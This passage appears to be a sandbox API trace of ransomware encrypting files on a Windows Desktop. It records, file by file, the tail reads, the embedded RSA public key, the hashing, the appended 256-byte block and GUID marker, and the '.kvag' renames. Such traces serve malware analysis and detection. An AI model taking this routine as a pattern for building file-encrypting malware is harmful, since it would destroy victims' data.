CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.047] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.047] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.047] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.047] GetLastError () returned 0x0 [0119.047] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.047] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.047] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.047] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.047] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.048] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.048] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7ede, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.048] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.048] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.048] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.049] CloseHandle (hObject=0x61c) returned 1 [0119.052] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I0kpPdyNQrVUZUse2i.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i0kppdynqrvuzuse2i.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I0kpPdyNQrVUZUse2i.doc.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i0kppdynqrvuzuse2i.doc.kvag")) returned 1 [0119.054] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39590f10, ftCreationTime.dwHighDateTime=0x1d4d061, ftLastAccessTime.dwLowDateTime=0x7df54800, ftLastAccessTime.dwHighDateTime=0x1d4d043, ftLastWriteTime.dwLowDateTime=0x7df54800, ftLastWriteTime.dwHighDateTime=0x1d4d043, nFileSizeHigh=0x0, nFileSizeLow=0x94da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IA6oM qudfY.doc", cAlternateFileName="IA6OMQ~1.DOC")) returned 1 [0119.054] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IA6oM qudfY.doc") returned=".doc" [0119.054] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IA6oM qudfY.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ia6om qudfy.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.054] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=38106) returned 1 [0119.054] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.056] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x94b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.056] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.058] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x94da, lpOverlapped=0x0) returned 1 [0119.058] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.058] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.058] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.058] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.059] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.059] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.059] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.059] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.059] GetLastError () returned 0x0 [0119.059] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.059] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.059] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.059] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.059] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.060] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.060] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x94da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.060] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.060] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.060] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.060] CloseHandle (hObject=0x61c) returned 1 [0119.061] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IA6oM qudfY.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ia6om qudfy.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IA6oM qudfY.doc.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ia6om qudfy.doc.kvag")) returned 1 [0119.063] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f322b80, ftCreationTime.dwHighDateTime=0x1d4d4a1, ftLastAccessTime.dwLowDateTime=0x6251d8a0, ftLastAccessTime.dwHighDateTime=0x1d4d027, ftLastWriteTime.dwLowDateTime=0x6251d8a0, ftLastWriteTime.dwHighDateTime=0x1d4d027, nFileSizeHigh=0x0, nFileSizeLow=0xc8d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K3H_YJ9Dlj 2XD.swf", cAlternateFileName="K3H_YJ~1.SWF")) returned 1 [0119.063] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K3H_YJ9Dlj 2XD.swf") returned=".swf" [0119.063] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K3H_YJ9Dlj 2XD.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k3h_yj9dlj 2xd.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.063] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=51408) returned 1 [0119.063] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.065] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc8aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.065] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.067] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xc8d0, lpOverlapped=0x0) returned 1 [0119.067] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.068] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.068] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.068] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0119.068] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.068] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.068] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.068] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.069] GetLastError () returned 0x0 [0119.069] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.069] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0119.069] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.069] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.069] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.069] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.069] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc8d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.069] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.070] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.070] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.070] CloseHandle (hObject=0x61c) returned 1 [0119.071] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K3H_YJ9Dlj 2XD.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k3h_yj9dlj 2xd.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K3H_YJ9Dlj 2XD.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k3h_yj9dlj 2xd.swf.kvag")) returned 1 [0119.072] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf562f00, ftCreationTime.dwHighDateTime=0x1d4d0a1, ftLastAccessTime.dwLowDateTime=0x69cae790, ftLastAccessTime.dwHighDateTime=0x1d4cadf, ftLastWriteTime.dwLowDateTime=0x69cae790, ftLastWriteTime.dwHighDateTime=0x1d4cadf, nFileSizeHigh=0x0, nFileSizeLow=0xab3f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K7kimO.bmp", cAlternateFileName="")) returned 1 [0119.072] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7kimO.bmp") returned=".bmp" [0119.072] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7kimO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7kimo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.072] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=43839) returned 1 [0119.072] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.074] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xab19, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.074] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.075] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.075] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xab3f, lpOverlapped=0x0) returned 1 [0119.076] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.076] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.076] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.076] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.077] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.077] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.077] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.077] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.077] GetLastError () returned 0x0 [0119.077] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.077] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.077] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.077] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.077] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.078] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0119.078] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xab3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.078] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.078] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.078] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.078] CloseHandle (hObject=0x61c) returned 1 [0119.079] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7kimO.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7kimo.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K7kimO.bmp.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k7kimo.bmp.kvag")) returned 1 [0119.081] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb648be0, ftCreationTime.dwHighDateTime=0x1d4c8bf, ftLastAccessTime.dwLowDateTime=0x45064be0, ftLastAccessTime.dwHighDateTime=0x1d4ca97, ftLastWriteTime.dwLowDateTime=0x45064be0, ftLastWriteTime.dwHighDateTime=0x1d4ca97, nFileSizeHigh=0x0, nFileSizeLow=0x14983, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mGWda9.mp3", cAlternateFileName="")) returned 1 [0119.081] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mGWda9.mp3") returned=".mp3" [0119.081] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mGWda9.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mgwda9.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.081] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=84355) returned 1 [0119.081] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.083] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1495d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.083] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.085] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: 